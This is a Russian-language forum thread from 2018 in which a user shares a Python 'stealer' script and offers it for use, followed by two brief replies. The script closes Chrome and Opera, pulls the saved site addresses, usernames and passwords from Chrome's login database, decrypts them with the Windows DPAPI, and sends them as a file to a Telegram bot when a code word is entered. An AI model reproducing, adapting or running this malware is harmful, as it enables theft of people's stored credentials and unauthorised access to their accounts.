Python Stealer Script by QLA

Тема в разделе "Python", создана пользователем Elufman, 28.12.2018.

Загрузка...
Ответов: 2 Просмотров: 991 Ответить в теме
  1. Elufman
    QLA CORPORATION |
    -----------------------------
    Python script stealer :
    - завершение процесса работы браузера Chrome,Opera;
    - получение и расшифровка данных (адрес сайта, логин, пароль);
    - отправка данных на вашего личного бота файлом при вводе кодового слова;

    Код:
      
    import os
    import telebot
    import psutil
    import time
    import getpass
    import sqlite3
    from win32crypt import CryptUnprotectData
    def Check_Process():
     for proc in psutil.process_iter():
        if proc.name()=="chrome.exe":
            time.sleep(2)
            os.system("taskkill /f /im chrome.exe")
        if proc.name()=="opera.exe":
            time.sleep(2)
            os.system("taskkill /f /im opera.exe")
    def chromepath():
            PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
            if (os.path.isdir(PathName) == False):
                exit(0)
            return PathName
    def grub():
            secret = []
            path = chromepath()
            try:
                connection = sqlite3.connect(path + "Login Data")
                with connection:
                    cursor = connection.cursor()
                    v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
                    value = v.fetchall()
    
                for i in value:
                    password = CryptUnprotectData(i[2], None, None, None, 0)[1]
                    if password:
                        secret.append({
                            '1': i[0],
                            '2': i[1],
                            '3': str(password)
                        })
            except sqlite3.OperationalError as e:
                if (str(e) == 'database is locked'):
                    print('Вы должны выключить Chrome прежде чем запускать скрипт')
                    input()
                    exit(0)
    
                else:
                    exit(0)
            if secret == []:
                pass
            else:
                return secret
    def Show_Mess():
        print("Пароли извлечены")
    def main():
     Check_Process()
     grub()
     Show_Mess()
    main()
    token = 'TOKEN_BOTa'
    bot = telebot.TeleBot(token)
    @bot.message_handler(content_types=["text"])
    def repeat_all_messages(message):
        ps=message.text
        if (ps=="GIKA"): #кодовое слово
            s = str(getpass.getuser()) + "_" + str(time.strftime("%a-%d-%b-%Y-%H-%M-%S") + '.txt')
            print(s)
            f = open(s, "w")
            f.write(s + "\n")
            for data in grub():
                for x in data.values():
                    if "http" in x:
                        f.write("--------\n")
                    f.write(x + "\n")
            f = open(s, "r")
            bot.send_message(message.chat.id, "Ваш запрос выполнен. Данные успешно получены.")
            bot.send_document(message.chat.id,f)
            f.close()
        else:
         bot.send_message(message.chat.id, message.text)
    if name == '__main__':
        bot.polling(none_stop=True)
    

    Created by Nedokoder
    (Код представлен для просмотра и пользования*пингвин*)

     
    28.12.2018 Сообщений: 2 Симпатий: 1
  2. Elufman
    Код не идеален и не стремится к этому.)
     
    28.12.2018 Сообщений: 2 Симпатий: 1
  3. zheki444
    @Elufman, Ахахах,зачем закрывать браузер?
     
    09.04.2019 Сообщений: 260 Симпатий: 74
В этой теме всего одна страница
Вам, как гостю, ограничены возможности взаимодействия с темами. Пройдите бесплатную регистрацию и откройте для себя море возможностей.